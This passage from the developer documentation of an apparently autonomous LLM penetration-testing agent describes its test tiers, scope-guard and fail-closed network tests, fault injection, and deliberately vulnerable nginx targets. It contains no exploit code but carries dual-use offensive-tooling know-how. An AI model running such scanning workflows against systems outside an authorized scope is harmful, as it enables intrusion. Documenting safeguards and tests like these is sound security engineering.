`delete_ipc_dir()` | Removes the IPC directory from the host | IPC dir re-creation |\\n| `chmod_output_dir(mode)` | Makes the output directory unwritable | Graceful write failure handling |\\n\\n`kill_pod()` execs into the tool container as root to clear IPC contents before topology removal \u2014 same cleanup sequence as `PodSession.teardown()`.\\n\\n### Fixtures (`conftest.py`)\\n\\n| Fixture | Scope | Purpose |\\n|---|---|---|\\n| `_require_podman_and_images` | session | Skips the entire suite if Podman or any required image is missing |\\n| `_prune_runs` | session | Deletes `.runs/` entries older than 7 days |\\n| `e2e_network` | session | Creates and tears down a dedicated `argicida-e2e` Podman network |\\n| `nginx_target` | session | Runs an nginx container on the E2E network, yields its IP |\\n| `e2e_harness` | module | Creates, sets up, yields, and tears down the harness |\\n\\nThe `nginx_target` fixture mounts a minimal HTML page and inspects the container's network settings to extract the IP address, which becomes the scan target for tests.\\n\\n## The Smoke Test\\n\\n`TestE2ESmoke.test_full_lifecycle` is a single test method with five assertion phases, all running against one LLM session:\\n\\n1. **Dispatch** \u2014 Prompts the LLM to create an engagement and run `argicida_naabu`. Asserts the engagement was created, naabu succeeded, raw output was stored, and the evidence chain has entries.\\n\\n2. **Delegation** \u2014 Verifies child sessions were created in the session DB (the LLM delegates tool execution to subagents).\\n\\n3. **Finalization** \u2014 Calls `finalize_session()`, then asserts: pod is torn down (`state.pod_session is None`), session ID changed, old session has `ended_at` set, and the evidence chain is cryptographically signed.\\n\\n4. **Session resume** \u2014 Calls `resume_session()` with the old session ID. Asserts conversation history is reloaded and findings remain accessible.\\n\\n5. **Engage resume** \u2014 Finalizes again (new session boundary), then runs `/engage resume `. Asserts the same engagement is re-bound across the session boundary.\\n\\n## Writing New E2E Tests\\n\\nNew tests go in `tests/e2e/` with the `@pytest.mark.e2e` marker. Use the `e2e_harness` and `nginx_target` fixtures. The pattern:\\n\\n```python\\ndef test_something(self, e2e_harness, nginx_target):\\n    e2e_harness.run_session(\\\"prompt for the LLM\\\")\\n    assertions = e2e_harness.session_assertions()\\n    assertions.assert_tool_succeeded(\\\"argicida_\\\")\\n```\\n\\nFor fault injection tests, wrap faults in the context manager:\\n\\n```python\\nfrom tests.e2e.fault_injector import FaultInjector\\n\\nwith FaultInjector(e2e_harness) as fi:\\n    fi.kill_gateway()\\n    e2e_harness.run_session(\\\"try a scan\\\")\\n    # assert fail-closed behavior\\n```\\n\\nCall `e2e_harness.finalize_session()` between independent test phases within a single test method to get clean session boundaries. The harness handles pod sweep and state reset.\\n\\nTest run artifacts persist in `tests/e2e/.runs/` (auto-pruned after 7 days). Each run gets its own timestamped directory containing the full Hermes home \u2014 session DB, engagement DB, raw tool output, and logs. These are the primary debugging artifacts when a test fails.\",\"other-tests-integration\":\"# Other \u2014 tests-integration\\n\\n# Integration Tests (`tests/integration/`)\\n\\n## Purpose\\n\\nThis module validates that Argicida's components work together through real Hermes infrastructure \u2014 real `PluginManager`, real `tools.registry`, real `EngagementStore` \u2014 with only the pod and IPC layers mocked. It occupies the middle tier of a three-tier test architecture:\\n\\n| Tier | Infrastructure | What it proves |\\n|------|---------------|----------------|\\n| Unit (`tests/argicida/`) | Everything mocked | Individual functions behave correctly in isolation |\\n| **Integration** (`tests/integration/`) | **Real Hermes + real DB, mocked pod/IPC** | **Components wire together correctly** |\\n| E2E (`tests/e2e/`) | Real pods, real IPC, real LLM | The system works end-to-end |\\n\\nThe integration tier catches a class of bugs that unit tests cannot: registration wiring gaps, hook ordering violations, scope guard bypass paths, and state management errors that only surface when real closures and real registries are involved.\\n\\n## The Test Harness\\n\\nEverything runs through `ArgicidaTestHarness`, built by the `hermes_ctx` fixture in `conftest.py`. The fixture calls the real `register(ctx)` function \u2014 the same entry point Hermes uses in production \u2014 then captures what was registered.\\n\\n```mermaid\\ngraph TD\\n    F[hermes_ctx fixture] --> PM[Real PluginManager]\\n    F --> REG[\\\"Real tools.registry\\\"]\\n    F --> DB[Real EngagementStoreon tmp_path SQLite]\\n    F --> MOCK_POD[Mocked PodManager]\\n    F --> MOCK_LLM[Mocked LLM client]\\n\\n    PM --> HOOKS[Hook dispatchinvoke_hook]\\n    REG --> TOOLS[Tool dispatchregistry.dispatch]\\n    PM --> CMDS[Command dispatch_plugin_commands]\\n\\n    F --> H[ArgicidaTestHarness]\\n    H --> HOOKS\\n    H --> TOOLS\\n    H --> CMDS\\n```\\n\\nThe harness exposes three dispatch methods that mirror production call paths:\\n\\n- **`invoke_hook(hook_name, **kwargs)`** \u2014 Delegates to `PluginManager.invoke_hook()`. Hooks fire through the same fault-isolation mechanism as production: a crashed hook is logged and skipped, other hooks continue.\\n- **`dispatch_tool(name, args)`** \u2014 Calls `registry.dispatch()` on the real global tool registry. Handlers are the actual closures that `register()` created.\\n- **`dispatch_command(name, raw_args)`** \u2014 Looks up the command in `pm._plugin_commands` and calls its handler, bridging async handlers via `asyncio.run()`.\\n\\nThe fixture tears down cleanly: it closes the store, deregisters all argicida tools from the global registry, and clears all hooks. This prevents test pollution when the registry singleton persists across test modules.\\n\\n### `create_and_activate_engagement`\\n\\nA convenience method that dispatches `argicida_engagement_create` through the real tool registry. This ensures the engagement is created with all the same side effects as production \u2014 hook callbacks fire, state binds, the store writes. Tests that need an active engagement call this rather than writing directly to the store.\\n\\n## Test Modules\\n\\n### `test_registration.py` \u2014 Structural Invariants\\n\\nAsserts exact counts and names for everything `register()` produces: 34 tools, 9 hooks, 6 slash commands, 1 CLI command. These are consistency tests \u2014 if someone adds a tool but forgets to wire its schema, or renames a hook without updating the registration module, these fail.\\n\\nThe tool name set is exhaustive. When a new tool is added via `tools/defs/`, it must appear here or the test breaks. This is intentional \u2014 it forces the contributor to acknowledge the registration.\\n\\n### `test_hook_pipeline.py` \u2014 Hook Invocation Through Real PluginManager\\n\\nTests the hook pipeline as it actually fires in production, not through mocked hook lists.\\n\\n**`TestScopeGuardHook`** \u2014 The scope guard (`pre_tool_call`) is the primary safety mechanism. These tests verify:\\n- Scan tools are blocked when no engagement is active\\n- In-scope targets pass\\n- Out-of-scope targets are blocked\\n- Non-argicida tools are ignored (the guard only intercepts `argicida_*` tools)\\n\\n**`TestPostToolCallHookIsolation`** \u2014 Two `post_tool_call` hooks are registered (evidence chain + output store). These tests verify the Hermes fault-isolation guarantee: if the evidence hook crashes, the output store hook still fires. They also verify registration order (evidence before output).\\n\\n**`TestNormalizerScopeGuardPipeline`** \u2014 Validates a critical ordering invariant: the scope guard sees the *original* args from the LLM, not normalized args. Normalizers run inside `make_scan_handler`, after the scope guard has already approved or blocked the call. If this ordering were reversed, a normalizer could inject arguments that bypass scope validation.\\n\\n### `test_tool_dispatch.py` \u2014 Tool Handlers Through Real Registry\\n\\nDispatches tools through `registry.dispatch()` \u2014 the same path the Hermes agent loop uses. Without a running pod, scan tools return structured error JSON. This is expected and tested explicitly: all six scan tools (`nmap`, `nuclei`, `subfinder`, `httpx`, `naabu`, `tracepath`) must return `{\\\"error\\\": ...}` rather than crashing.\\n\\nManagement tools (`engagement_create`, `engagement_query`, `triage_findings`, `briefing_generate`) work fully since they operate on the database, not the pod. The briefing test verifies that `ctx.llm.acomplete` is called exactly once \u2014 confirming the LLM integration point is wired correctly.\\n\\n### `test_slash_commands.py` \u2014 Command Dispatch\\n\\nTests all six slash commands (`/scope`, `/triage`, `/approve-gate`, `/briefing`, `/trace`, `/engage`) through the real command dispatch path. Each command is tested both with and without an active engagement. The `/engage` subcommands (`list`, `resume`, `new`, `close`, `rename`, `status`) each have dedicated tests verifying state transitions through the real store.\\n\\n### `test_session_lifecycle.py` \u2014 Session Hooks\\n\\nVerifies that `on_session_end` hooks handle both normal completion and interrupted sessions without crashing. Also tests that hooks accept extra keyword arguments (Hermes may add new fields like `telemetry_schema_version` \u2014 hooks must not reject unknown kwargs).\\n\\n### `test_asset_pipeline.py` \u2014 Asset Extraction End-to-End\\n\\nTests the asset subsystem through the real `EngagementStore` and `AssetRepo`:\\n\\n- **Scope seeding**: `/32` CIDRs create assets, `/24` CIDRs don't, `/128` IPv6 CIDRs create assets\\n- **Engagement resume**: Hostname\u2192IP mappings replay into a dnsmasq callback; findings with IP targets backfill missing assets; hostname-only findings are skipped\\n- **Hook wiring**: `make_asset_extraction_adapter` produces a callable with the correct `post_tool_call` signature\\n\\n### `test_phase_lifecycle.py` \u2014 Engagement Phase State Machine\\n\\nDrives the full phase progression (`SCOPING` \u2192 `DISCOVERY` \u2192 `ENUMERATION` \u2192 `DEEP_TESTING` \u2192 `HUMAN_GATE`) through the real store and real `build_autonomy_directive()`. This test verifies that:\\n\\n1. Phase advances are triggered by the right conditions (service identification triggers `DISCOVERY` \u2192 `ENUMERATION`)\\n2. The autonomy directive contains the right signals at each phase (e.g., `UNCOVERED` services during enumeration)\\n3. The `HUMAN_GATE` phase produces a directive that references `briefing_generate`\\n\\nThis is the only test that exercises the autonomy directive logic against a real database \u2014 unit tests for `build_autonomy_directive` use in-memory findings, but this test writes findings to SQLite and reads them back.\\n\\n## What These Tests Do Not Cover\\n\\nIntegration tests mock the pod and IPC layers. They cannot verify:\\n\\n- Network isolation (nftables rules, gateway FORWARD chain)\\n- Container agent behavior (tool execution, output streaming)\\n- IPC protocol correctness (msgpack encoding, socket permissions)\\n- Real LLM-driven tool selection\\n\\nThese are covered by pod integration tests (`tests/pod_integration/`) and E2E tests (`tests/e2e/`).\\n\\n## Adding New Integration Tests\\n\\nWhen adding a new tool, hook, or command, add corresponding integration tests:\\n\\n1. **New tool**: Add its name to the `expected` set in `test_tool_names`. If it's a scan tool, add it to `test_all_scan_tools_return_error_without_pod`.\\n2. **New hook**: Update the count in `test_seven_hooks_registered` (the name is stale \u2014 it checks 9) and add the hook name to `test_hook_names`.\\n3. **New slash command**: Update the count in `test_six_commands_registered` and add the command name to `test_command_names`. Write at least two tests: one without an engagement (should return an error), one with.\\n\\nAll integration tests run with `uv run pytest tests/integration/` \u2014 no Podman, no containers, no LLM endpoint required.\",\"other-tests-pod-integration\":\"# Other \u2014 tests-pod_integration\\n\\n# Pod Integration Tests\\n\\n## Purpose\\n\\nThe pod integration test suite validates Argicida's core subsystems against real Podman infrastructure. Unlike unit tests that mock IPC, pods, and container runtimes, these tests launch actual containers, establish real Unix socket connections, execute real scan tool binaries, and verify that nftables rules, dnsmasq DNS, and the dual-bridge gateway topology behave correctly under production conditions.\\n\\nThe suite occupies the middle tier of Argicida's three-tier test architecture: heavier than unit/integration tests (which use no infrastructure) but lighter than E2E tests (which require a live LLM endpoint and run through the real HermesCLI agent loop). Pod integration tests call tool handlers and hooks directly through the Hermes registry, bypassing the LLM entirely.\\n\\nRun with:\\n\\n```bash\\nuv run pytest -m pod_integration -v\\n```\\n\\n## Prerequisites\\n\\n- **Podman** (rootless) available at `/usr/bin/podman`\\n- **Built images**: `argicida-tools:dev`, `argicida-gateway:dev`\\n- **Pulled image**: `docker.io/library/nginx:alpine`\\n- **ZAP tests additionally require**: `argicida-zap:dev`\\n\\nThe session-scoped `_require_podman_and_images` fixture skips the entire suite if any prerequisite is missing.\\n\\n## Fixture Architecture\\n\\nFixtures are layered by pytest scope to balance isolation against pod startup cost (~5-10s per topology).\\n\\n```mermaid\\ngraph TD\\n    S1[_require_podman_and_imagessession \u00b7 autouse] --> S2[e2e_networksession \u00b7 bridge network]\\n    S2 --> S3[nginx_targetsession \u00b7 vulnerable site]\\n    S2 --> S4[graphql_targetsession \u00b7 introspection endpoint]\\n    S2 --> S5[out_of_scope_targetsession \u00b7 blocked IP]\\n    S2 --> M1[pod_harnessmodule \u00b7 standard topology]\\n    S2 --> M2[zap_harnessmodule \u00b7 ZAP sidecar topology]\\n    M1 --> T[\\\"test functions(dispatch_tool, invoke_hook)\\\"]\\n    M2 --> T\\n```\\n\\n**Session-scoped** (created once, shared across all modules):\\n\\n| Fixture | What it provides |\\n|---------|-----------------|\\n| `e2e_network` | Podman bridge network `argicida-e2e` connecting all containers |\\n| `nginx_target` | IP address of an nginx container serving deliberately vulnerable content (exposed `.env`, `.git/config`, `swagger.json`) |\\n| `graphql_target` | IP address of a Python HTTP server responding to GraphQL introspection queries |\\n| `out_of_scope_target` | IP address of a container that is never added to any engagement scope \u2014 used to verify scope enforcement blocks it |\\n\\n**Module-scoped** (one per test file):\\n\\n| Fixture | What it provides |\\n|---------|-----------------|\\n| `pod_harness` | Full Hermes registration + `PodIntegrationHarness` with real PodManager. Pod launches on first `ensure_pod()` or tool dispatch. |\\n| `zap_harness` | Same as `pod_harness` but sets `ARGICIDA_ZAP_IMAGE` before registration and calls `ensure_pod()` eagerly (ZAP's JVM takes ~30s). Skips the module if `argicida-zap:dev` is not built. |\\n\\nModule scope means each test file gets its own pod topology. This is necessary because some tests are destructive (killing the gateway, clearing `pod_session`, tightening scope rules) and cannot share infrastructure.\\n\\n## PodIntegrationHarness\\n\\n`PodIntegrationHarness` is the central test driver. It wraps a real Hermes `PluginManager` with a real Argicida `register()` call, giving tests access to the full plugin lifecycle without an LLM.\\n\\n### What it owns\\n\\n- `pm` / `ctx` \u2014 Real Hermes `PluginManager` and `PluginContext` (with a mocked `ctx._llm`)\\n- `store` \u2014 Real `EngagementStore` backed by a temporary SQLite database\\n- `state` \u2014 Real `PluginState` holding the live `PodSession` and `EngagementSession`\\n- `hermes_home` \u2014 Temporary directory tree mimicking `$HERMES_HOME`\\n\\n### dispatch_tool\\n\\nThe critical method. It mirrors the Hermes agent loop sequence that runs in production when the LLM calls a tool:\\n\\n1. `pre_tool_call` \u2014 scope guard validates target and args\\n2. `registry.dispatch()` \u2014 handler runs (async handlers bridged automatically)\\n3. `post_tool_call` \u2014 evidence chain, output store, asset extraction\\n4. `transform_tool_result` \u2014 normalizer enriches result, scope expands\\n\\nThis is **not** a simplified reimplementation. It calls the same hook functions and registry dispatch that the production agent loop uses \u2014 the only difference is that a test function calls `dispatch_tool` instead of the LLM.\\n\\n### create_and_activate_engagement\\n\\nCreates an engagement through the real `argicida_engagement_create` handler, which runs `bind_engagement()` \u2192 `EngagementSession.bind()`, setting up signing keys, artifacts directory, evidence chain seeding, and scope rules. Returns the engagement ID.\\n\\n### Teardown\\n\\n`_create_harness` is a generator that yields the harness and cleans up on exit:\\n\\n1. Tears down the pod session (pod + gateway + networks)\\n2. Deregisters tools added during `register()`\\n3. Closes the engagement store\\n4. Restores environment variables (`HERMES_HOME`, `ARGICIDA_NETWORK`)\\n\\n## Test Modules\\n\\n### test_first_light.py \u2014 Core dispatch and lifecycle\\n\\nThe foundational tests. Exercises the production path from engagement creation through tool dispatch to output verification:\\n\\n- **Tool dispatch**: naabu, nmap, tracepath against real nginx \u2014 verifies pod auto-launch, exit codes, raw output\\n- **Finding extraction**: naabu findings lack `service` (port-only), nmap `-sV` findings carry `service=\\\"http\\\"`\\n- **Output storage**: `stdout`, `meta.json` (including `tool_args`) written to `$HERMES_HOME/argicida/output/`\\n- **Evidence chain**: chain entries match findings count, sequences are contiguous, hashes link correctly\\n- **Scope enforcement**: out-of-scope targets blocked by `pre_tool_call` hook, in-scope targets pass\\n- **Host mapping**: `add_host` / `remove_host` write to dnsmasq config, entries visible in gateway, multiple hostnames per IP\\n- **Web tools**: katana crawl, ffuf fuzzing, curl GET/download against nginx\\n- **Context injection**: `pre_llm_call` returns resume briefing (with findings) or methodology (without), phase advances through DISCOVERY \u2192 ENUMERATION\\n- **Error enrichment**: `db_query` without connection URL gets actionable guidance\\n\\n### test_asset_registry.py \u2014 Asset population pipeline\\n\\nVerifies the asset extraction pipeline:  `engagement_create` (scope seeding) \u2192 `naabu`/`nmap`/`httpx` (scan) \u2192 `post_tool_call` hooks (extractor) \u2192 store assertions.\\n\\n- Scope seeding: `/32` CIDR creates asset in `discovered` state\\n- Port population: naabu discovers ports, nmap adds service detection\\n- Hostname population: httpx against a custom hostname populates the asset's hostname list\\n- Resolution: IPs and hostnames resolve to `asset_id` after scan\\n- Coverage state machine: asset advances from `discovered` \u2192 `ports_scanned` after naabu\\n- Engagement resume: hostname\u2192IP mappings replay into pod host entries\\n\\n### test_container_build.py \u2014 Image content verification\\n\\nRuns assertions inside the actual container image (via `podman run --rm` or a module-scoped container with entrypoint). Catches regressions that only manifest at runtime:\\n\\n- **Tool binaries**: all 14 scan binaries present and executable (nuclei, nmap, httpx, katana, ffuf, curl, etc.)\\n- **Nuclei templates**: directory exists with content, `.nuclei-ignore` baked in, `templates:` key points to `/opt/nuclei-templates/`\\n- **PD configs**: baked to `/opt/pd-config/`, entrypoint copies to `$HOME/.config/`\\n- **Nuclei config**: update checks disabled, interactsh disabled, headless enabled, CDP endpoint configured, no `system-chrome`\\n- **Container user**: runs as UID 10000, `/ipc` writable, home writable with tmpfs\\n- **CDP Chromium**: endpoint at `127.0.0.1:9222` responding, process running, nuclei config has resolved browser GUID\\n- **SecLists**: 10 wordlist paths verified present, `common.txt` has 4000+ lines\\n\\nThe `tools_container` fixture starts the container with its real entrypoint (which copies configs and starts Chromium), then waits for CDP readiness before yielding.\\n\\n### test_diagnostic_pod.py \u2014 Pre-engagement pod behavior\\n\\nTests pods launched without an engagement (diagnostic mode):\\n\\n- Gateway is running with FORWARD chain even without engagement\\n- FORWARD chain starts with `policy accept` (permissive)\\n- After `scope_define`, FORWARD tightens to `policy drop` with scope-specific allow rules\\n\\n### test_engagement_management.py \u2014 Mid-session operations\\n\\n- **Engagement switch**: create A, scan, switch to B \u2014 pod survives, findings isolated between engagements\\n- **dnsmasq host entries**: `add_host` writes `address=` entry, dnsmasq restarts, tool container resolves hostname\\n- **Scope expansion**: `scope_expand=True` adds IP to engagement scope and nftables rules\\n- **Scope regen**: host entries persist after `scope_define` triggers dnsmasq regeneration\\n\\n### test_gateway_isolation.py \u2014 Network topology (non-destructive)\\n\\nVerifies the dual-bridge topology without killing containers:\\n\\n- FORWARD chain present with `policy drop` after scope definition\\n- `resolv.conf` in tool container points to `10.89.1.2` (gateway internal IP)\\n- Gateway has NAT masquerade rule\\n- Gateway has INPUT chain (self-protection)\\n\\n### test_gateway_fail_closed.py \u2014 Fail-closed proof (destructive)\\n\\nKills the gateway container and proves the tool pod loses all connectivity. This test gets its own module (own `pod_harness` lifecycle) because recovery is not possible after gateway death.\\n\\n### test_fault_recovery.py \u2014 Stale socket reconnect\\n\\nDeletes the IPC socket inside the container, then dispatches a tool. Verifies that `ensure_client` detects the broken connection and reconnects without pod restart.\\n\\n### test_fault_stale_session.py \u2014 Stale session relaunch\\n\\nClears `state.pod_session` (simulating a crash), then dispatches a tool. Verifies that `ensure_pod` detects the orphaned pod by name convention, cleans it up, and launches a new topology. Gets its own module because the new topology would collide with the original.\\n\\n### test_artifact_transfer.py \u2014 File transfer and screenshots\\n\\n- **Binary integrity**: writes controlled binary content in container, transfers via `artifact_save`, verifies byte-for-byte match on host\\n- **Screenshots**: `argicida_screenshot` captures nginx via headless Chromium, verifies PNG magic bytes, correct filename derivation, IPC cleanup after capture\\n- **Scope enforcement**: screenshot of out-of-scope target blocked\\n\\n### test_ipc_file_write.py \u2014 Host\u2192container file exchange\\n\\nWrites a file into `ipc_dir` using `write_ipc_file` (the `0o644` / `O_NOFOLLOW` pattern), then reads it back via `podman exec cat` inside the container. Catches permission regressions that would break `FileInjector`, `TargetFileInjector`, and `PlanExecutor`.\\n\\n### test_zap.py \u2014 ZAP sidecar integration\\n\\nComprehensive ZAP lifecycle tests using the `zap_harness` fixture:\\n\\n- **Pod lifecycle**: ZAP container starts, `zap_active` flag set, `ZapManager` created, API responds, CA cert extracted as valid PEM\\n- **Engagement gating**: `zap_scan`, `zap_context`, `zap_auth` fail gracefully without an active engagement\\n- **Proxy integration**: katana crawl through ZAP proxy produces passive findings (verifies `ZapProxyInjector` injection)\\n- **Context management**: create, idempotent re-create, create with exclude patterns\\n- **Scan workflow**: quick scan returns findings, findings have correct schema fields\\n- **Alert filtering**: filter by `baseurl`, `min_risk`, nonexistent URL returns zero\\n- **Finding persistence**: `persist_findings` stores to DB, deduplicates on re-persist\\n- **Enriched findings**: solution field, WASC IDs, stage timing in response\\n- **AJAX Spider**: `ajax_spider=true` parameter accepted\\n- **API import**: OpenAPI spec import from nginx's `swagger.json`, GraphQL introspection import from the graphql target\\n- **Adaptive scan policy**: passive harvest from proxy traffic drives active rule selection\\n\\n## Module Isolation Strategy\\n\\nSeveral tests are destructive \u2014 they kill containers, clear state, or tighten firewall rules irreversibly. These are isolated into separate modules so each gets its own `pod_harness` lifecycle:\\n\\n| Module | Why isolated |\\n|--------|-------------|\\n| `test_gateway_fail_closed` | Kills gateway \u2014 no recovery possible |\\n| `test_fault_stale_session` | Clears `pod_session` \u2014 new topology collides with original |\\n| `test_diagnostic_pod` | Depends on pristine permissive FORWARD rules before `scope_define` |\\n\\nNon-destructive modules (`test_first_light`, `test_asset_registry`, `test_gateway_isolation`, etc.) share a `pod_harness` safely because their operations are additive \u2014 they create engagements, dispatch tools, and inspect state without destroying topology components.\\n\\n## Writing New Pod Integration Tests\\n\\n1. **Mark with `@pytest.mark.pod_integration`** \u2014 this excludes them from the default `uv run pytest` run\\n2. **Use `pod_harness` or `zap_harness`** \u2014 never create pods manually\\n3. **Call `create_and_activate_engagement`** before dispatching scan tools \u2014 scope enforcement blocks unscoped targets\\n4. **Call `ensure_pod()`** if you need a running pod without dispatching a tool (e.g., to inspect gateway state)\\n5. **Isolate destructive tests** into their own module \u2014 anything that kills containers, clears `pod_session`, or irreversibly changes nftables rules\\n6. **Assert on parsed JSON** from `dispatch_tool`, not raw strings \u2014 all tool handlers return `json.dumps()` strings\\n7. **Check `\\\"error\\\" not in parsed`** before asserting on result fields \u2014 scope blocks and handler failures both return `{\\\"error\\\": \\\"...\\\"}`\",\"other-tests-scripts\":\"# Other \u2014 tests-scripts\\n\\n# `tests/scripts/` \u2014 Skill Sync Script Tests\\n\\nTests for `scripts/sync_skills.py`, the utility that keeps profile skills (checked into the repo at `profile/skills/`) in sync with their runtime copies (deployed to `$HERMES_HOME/skills/` after `hermes profile install`).\\n\\n## Why This Exists\\n\\nSkills are authored in the repo but executed from the Hermes runtime directory. The LLM can self-improve skills at runtime, creating drift between the two copies. `sync_skills.py` detects and resolves that drift in either direction. These tests validate the five core operations the script exposes.\\n\\n## What's Under Test\\n\\nThe test file imports directly from the script via `importlib.util` (since `scripts/` is not a package):\\n\\n| Function | Purpose |\\n|---|---|\\n| `collect_repo_skills(path)` | Walks a skill tree, returns all directories containing `SKILL.md`. Recurses into nested hub/sub-skill structures. |\\n| `find_runtime_skill(name, path)` | Locates a skill in the runtime tree by name \u2014 checks both directory names and YAML frontmatter `name:` fields. |\\n| `diff_skill(repo, runtime)` | Compares `SKILL.md` content between repo and runtime copies. Returns `None` if identical, a diff string otherwise. |\\n| `sync_skill(repo, runtime, direction)` | Copies skill files in the specified direction (`\\\"repo-to-runtime\\\"` or `\\\"runtime-to-repo\\\"`). Includes auxiliary files, not just `SKILL.md`. |\\n| `parse_skill_name(skill_md)` | Extracts the skill name from YAML frontmatter `name:` field, falling back to the parent directory name. |\\n| `SkillPair` | Data class pairing a skill name with its repo and runtime paths. |\\n\\n## Key Behaviors Verified\\n\\n**Frontmatter name takes priority over directory name.** Sub-skills like `profile/skills/security/db-enumeration/postgresql/SKILL.md` declare `name: db-postgresql` in frontmatter. Both `collect_repo_skills` and `find_runtime_skill` resolve by frontmatter name, not filesystem path. This matters because tool schemas reference skills by frontmatter name (e.g., `skill_view('db-postgresql')`), and a mismatch silently breaks the loading chain.\\n\\n**Nested hub skills are fully discovered.** A hub skill like `db-enumeration/` contains its own `SKILL.md` plus sub-skill directories (`postgresql/`, `mysql/`), each with their own `SKILL.md`. `collect_repo_skills` finds all levels.\\n\\n**Sync copies everything, not just SKILL.md.** Skills can include auxiliary files (reference docs, examples). `sync_skill` copies the full directory contents in the chosen direction.\\n\\n**Graceful handling of missing/malformed data.** Missing directories return empty lists, missing frontmatter falls back to directory name, empty `name:` fields fall back to directory name, invalid sync directions raise `ValueError`.\\n\\n## Running\\n\\n```bash\\nuv run pytest tests/scripts/ -v\\n```\\n\\nThese are pure-filesystem tests with no infrastructure dependencies \u2014 they use `tmp_path` fixtures exclusively.\",\"other-tests\":\"# Other \u2014 tests\\n\\n# Test Infrastructure \u2014 Shared Factories and Configuration\\n\\nThe `tests/` root contains the shared test infrastructure that all Argicida test modules depend on. It provides factory functions for constructing domain objects with sensible defaults, reducing boilerplate across the 2800+ unit and integration tests.\\n\\n## `tests/factories.py`\\n\\nTwo factory functions and one constant that form the foundation of test data construction.\\n\\n### `TEST_CIDR`\\n\\n```python\\nTEST_CIDR = \\\"10.10.10.0/24\\\"\\n```\\n\\nCanonical test network range. Used wherever tests need a scope CIDR \u2014 scope guard tests, nftables rule generation, engagement setup. Using a single constant prevents tests from silently diverging on what \\\"in scope\\\" means.\\n\\n### `make_finding(**overrides) -> Finding`\\n\\nConstructs an `argicida_common.finding_schema.Finding` with defaults that satisfy all required fields:\\n\\n```python\\nfinding = make_finding()                          # all defaults\\nfinding = make_finding(severity=\\\"critical\\\", tool=\\\"nuclei\\\")  # override specific fields\\n```\\n\\nDefault values:\\n| Field | Default |\\n|-------|---------|\\n| `tool` | `\\\"nmap\\\"` |\\n| `target` | `\\\"10.10.10.1\\\"` |\\n| `title` | `\\\"Test finding\\\"` |\\n| `severity` | `\\\"info\\\"` |\\n| `description` | `\\\"Test description\\\"` |\\n| `raw_output` | `\\\"\\\"` |\\n| `triage_level` | `\\\"noise\\\"` |\\n| `timestamp` | `\\\"2026-01-01T00:00:00+00:00\\\"` |\\n\\nThis is the most widely used factory in the suite \u2014 called from evidence chain tests, signer tests, database helpers, briefing generation, triage logic, and engagement lifecycle tests. The `target` default (`10.10.10.1`) falls within `TEST_CIDR`, so findings created with defaults are always in-scope.\\n\\n### `make_tool_def(schema_name, toolset=\\\"argicida\\\") -> dict`\\n\\nConstructs a minimal OpenAI-format tool schema dict for registration tests:\\n\\n```python\\ntool_def = make_tool_def(\\\"argicida_nmap\\\")\\ntool_def = make_tool_def(\\\"argicida_httpx\\\", toolset=\\\"custom\\\")\\n```\\n\\nReturns a dict with `name`, `toolset`, `description`, and an empty `parameters` object. Used where tests need a tool registered in the Hermes `tools.registry` without caring about the actual parameter schema.\\n\\n## `tests/conftest.py`\\n\\nShared pytest fixtures available to all test modules under `tests/`. Fixtures defined here are automatically discovered by pytest without explicit imports.\\n\\n## Usage Pattern\\n\\nThe factory pattern follows a deliberate convention: **defaults produce valid, internally consistent objects**. Tests override only the fields relevant to what they're asserting. This keeps tests readable \u2014 when you see `make_finding(severity=\\\"critical\\\")`, the test is about severity behavior, and every other field is irrelevant noise held constant.\\n\\n```python\\n# Evidence chain test \u2014 only cares about chaining, not finding content\\nchain.append(make_finding())\\nchain.append(make_finding())\\nassert chain.verify()\\n\\n# Triage test \u2014 cares about tool identity\\nmake_finding(tool=\\\"nmap\\\")       # should be processed\\nmake_finding(tool=\\\"subfinder\\\")  # should be skipped\\n```\\n\\nWhen adding new test modules, prefer these factories over hand-constructing `Finding` or tool definition dicts. If a new domain object appears frequently in tests, add a factory here rather than duplicating construction logic across test files.\",\"other\":\"# Other\\n\\n# Other \u2014 Project Infrastructure & Cross-Cutting Concerns\\n\\nEverything outside Argicida's runtime code: build configuration, documentation, test suites, the Hermes profile, and AI-assisted development setup. These modules define how the project is built, tested, documented, deployed as a Hermes agent, and maintained by both human and AI contributors.\\n\\n## Module Groups\\n\\n### Build & Configuration\\n\\nThree files define the project's identity and build system:\\n\\n- [pyproject.toml](pyproject.toml.md) \u2014 uv workspace root coordinating the three packages (`argicida`, `argicida_agent`, `argicida_common`) with centralized linting, type checking, security scanning, and test configuration.\\n- [CLAUDE.md](claude-md.md) \u2014 Machine-readable project instructions that Claude Code loads into every session. Acts as a binding contract: architecture constraints, security rules, command reference, and validation requirements.\\n- [README.md](readme.md) \u2014 Human-facing project overview covering prerequisites, installation, architecture, and development workflow.\\n\\n### Workspace Packages (Build Metadata)\\n\\nPackage-level `pyproject.toml` files and entry points for each workspace member. These define dependencies, entry points, and extras \u2014 not runtime logic:\\n\\n- [src-argicida](src-argicida.md) \u2014 Host plugin entry point (`hermes_agent.plugins`), heavy dependencies (podman, pydantic, cryptography), optional `[vision]` extras.\\n- [src-argicida_agent](src-argicida_agent.md) \u2014 Container agent with minimal dependencies (msgspec only).\\n- [src-argicida_common](src-argicida_common.md) \u2014 Shared types package imported by both sides of the IPC boundary. Single dependency (msgspec).\\n\\n### Documentation\\n\\nFive directories with distinct authority levels:\\n\\n- [docs](docs.md) \u2014 Active project documents: development standards (mandatory), research roadmap (reference), triage engine spec (technical).\\n- [docs/archive](docs-archive.md) \u2014 Frozen history: audit records, refactor plans, and architectural decisions from the two major pivots.\\n- [docs/research](docs-research.md) \u2014 Multi-agent adversarial research artifacts with confidence-scored findings that justified non-obvious architectural choices.\\n- [docs/rfe](docs-rfe.md) \u2014 Request for Enhancement decision records following a Draft \u2192 Implementing \u2192 Implemented \u2192 Verified lifecycle.\\n- [docs/superpowers](docs-superpowers.md) \u2014 ZAP integration design archive: the specs and plans behind the `zap/` subsystem.\\n\\n### Hermes Profile\\n\\nThe runtime configuration that transforms a generic Hermes agent into a penetration testing operator:\\n\\n- [profile](profile.md) \u2014 Profile distribution: LLM identity (SOUL.md), model routing, 13 technique skills with three-tier progressive disclosure, delegation config, and operational parameters.\\n- [profile/skins](profile-skins.md) \u2014 CLI theming via `argicida.yaml` \u2014 colors, spinners, branding. Pure YAML configuration, no runtime logic.\\n\\n### Test Infrastructure\\n\\nSix test modules organized in a three-tier architecture, plus shared factories:\\n\\n| Tier | Module | Infrastructure | Count |\\n|------|--------|---------------|-------|\\n| Shared | [tests](tests.md) | Factories (`make_finding`, `make_engagement`) | \u2014 |\\n| Unit | 